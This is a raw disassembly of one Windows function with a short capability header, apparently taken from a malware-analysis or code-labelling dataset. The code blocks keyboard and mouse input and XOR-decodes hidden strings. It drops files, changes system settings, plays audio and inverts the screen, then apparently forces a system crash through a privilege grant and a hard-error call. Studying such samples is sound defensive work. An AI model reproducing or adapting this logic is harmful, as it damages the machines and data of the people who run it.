Function at 0x140001cd0
Capabilities:
Create thread
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x240
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [section.sect_2]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.1400017a0
movabs rcx, 0x25e9ad37b5583f22
movabs rdi, 0x476df6b5876edad8
mov qword [rbp], rdi
xor r15d, r15d
mov rax, qword [rbp]
movabs rsi, 0x770998dcf032e09b
mov qword [rbp + 0xe0], rax
movabs r13, 0x6d2ad4e99ace9c30
movabs rax, 0x1d40fa8ef892ef47
mov qword [rsp + 0x30], r15
mov qword [rbp], rax
movabs r12, 0xa6696fd274af7f25
mov rax, qword [rbp]
xor r9d, r9d
mov qword [rbp + 0xe8], rax
xor r8d, r8d
movabs rax, 0xa6696fd274af7f42
mov dword [rsp + 0x28], r15d
mov qword [rbp], rax
mov edx, 0x40000000
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xe0], ymm1
mov dword [rsp + 0x20], 1
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp + 0xc4]
mov qword [rsp + 0x20], r15
mov rcx, rax
lea rdx, [0x1401dd770]
mov r8d, 0x12fa
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x777e9880f008e0d8
movabs r14, 0xe8678c2d81a06934
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x6d1ad48d9aa09c59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xa60b6f8e74dc7f52
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x2599ad5db5763f45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xa8478c50e177d408
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], rsi
lea r8, [rbp + 0x100]
mov rax, qword [rbp]
movabs rbx, 0x25e9ad37b5583f22
mov qword [rbp + 0x180], rax
movabs rsi, 0xa8478c50e177d46f
mov qword [rbp], r13
mov r9d, 1
mov rax, qword [rbp]
xor edx, edx
mov qword [rbp + 0x188], rax
mov ecx, 0x14
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x120]
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
mov qword [rbp + 0x1a8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqa xmmword [rbp + 0x120], xmm2
vzeroupper
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov qword [rbp], rdi
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp]
movabs rdi, 0x770998dcf032e09b
mov qword [rbp + 0xe0], rax
xor r9d, r9d
movabs rax, 0xe43a79cf792ef47
mov qword [rsp + 0x30], r15
mov qword [rbp], rax
xor r8d, r8d
mov rax, qword [rbp]
mov edx, 0x40000000
mov qword [rbp + 0xe8], rax
movabs rax, 0xa6696fd247df120b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
mov dword [rsp + 0x28], r15d
vmovdqa ymmword [rbp + 0xe0], ymm1
mov dword [rsp + 0x20], 1
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp + 0xc8]
mov qword [rsp + 0x20], r15
mov rcx, rax
lea rdx, [0x140006090]
mov r8d, 0x1d76da
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x776798b9f042e0f4
mov qword [rbp], rax
movabs rcx, 0x5f442925bf8a047c
mov rax, qword [rbp]
movabs rbx, 0x25e9ad37b5583f22
mov qword [rbp + 0x40], rax
movabs rax, 0x6d10d48a9aec9c10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa6076fbb74d87f0a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x259aad40b5683f46
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0xa8348c25e11ad440
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xe80a8c0381c3695d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x750ffa04551d55f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xfb02631ba33014f2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xe10e86435cacf83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x59a52288d07e183f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x22ba03ca34c832e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xeca4708e496ec8a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0xade5fc5800942a77
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x752ffa26552e5589
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xfb67636ba3491486
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
xor r9d, r9d
movabs rax, 0xe75e81435a7cfa3
xor r8d, r8d
mov qword [rbp], rax
xor edx, edx
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x59c122e1d0081858
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x22db03ea34a7328d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0xecd770ef4907c8ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0xadd6fc2800f92a57
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x40]
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa xmm2, xmmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0x40], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqu ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x60], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
mov qword [rbp + 0x168], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqa xmmword [rbp + 0xa0], xmm2
vzeroupper
call qword [sym.imp.WINMM.dll_mciSendStringW]
movabs rax, 0x777098bdf05ee0eb
lea rcx, [rbp + 0xe0]
mov qword [rbp], rax
mov r14, rdi
mov rax, qword [rbp]
xor r9d, r9d
mov qword [rbp + 0xe0], rax
xor r8d, r8d
movabs rax, 0x6d19d4999aa39c10
xor edx, edx
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqu ymmword [rbp + 0xe0], ymm1
vzeroupper
call qword [sym.imp.WINMM.dll_mciSendStringW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rsi, rax
mov edx, 8
mov rcx, rax
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edx, 0xa
mov rcx, rsi
movsxd rdi, eax
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, 0xb4
movsxd rbx, eax
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xff0062
mov r9d, edi
mov dword [rsp + 0x38], r15d
xor r8d, r8d
mov dword [rsp + 0x30], r15d
xor edx, edx
mov qword [rsp + 0x28], rsi
mov rcx, rsi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, section.sect_0
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x1400010b0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140001160]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1d4c0
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x47cf2b8b15e94c9
movabs rbx, 0x25e9ad37b5583f22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x846bd9ff3bccc44
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xa6696fd274af1a42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
movabs rax, 0x1b6db6b09c5694f5
lea rcx, [rbp + 0x10]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0x6d2ad4e99ace9c5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
vmovdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0xe8], rax
vxorps xmm0, xmm0, xmmword [rbp + 0xe0]
vmovdqa xmmword [rbp + 0x10], xmm0
vzeroupper
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
movabs rax, 0x3f6cebb5916094d5
mov qword [rbp], rax
movabs rax, 0x1f45a69bdfaaee51
mov rcx, qword [rbp]
mov qword [rbp + 0x100], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x108], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x110], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x776598b8f046e0f5
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x6d46d48d9ae09c5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xa6696fd274af7f49
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
lea rcx, [rbp + 0xe0]
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqu ymmword [rbp + 0xe0], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp + 0xc0]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
mov rbx, rax
call rdi
lea rax, [rbp + 0xcc]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc00002b4
call rbx
xor eax, eax
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140002840
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret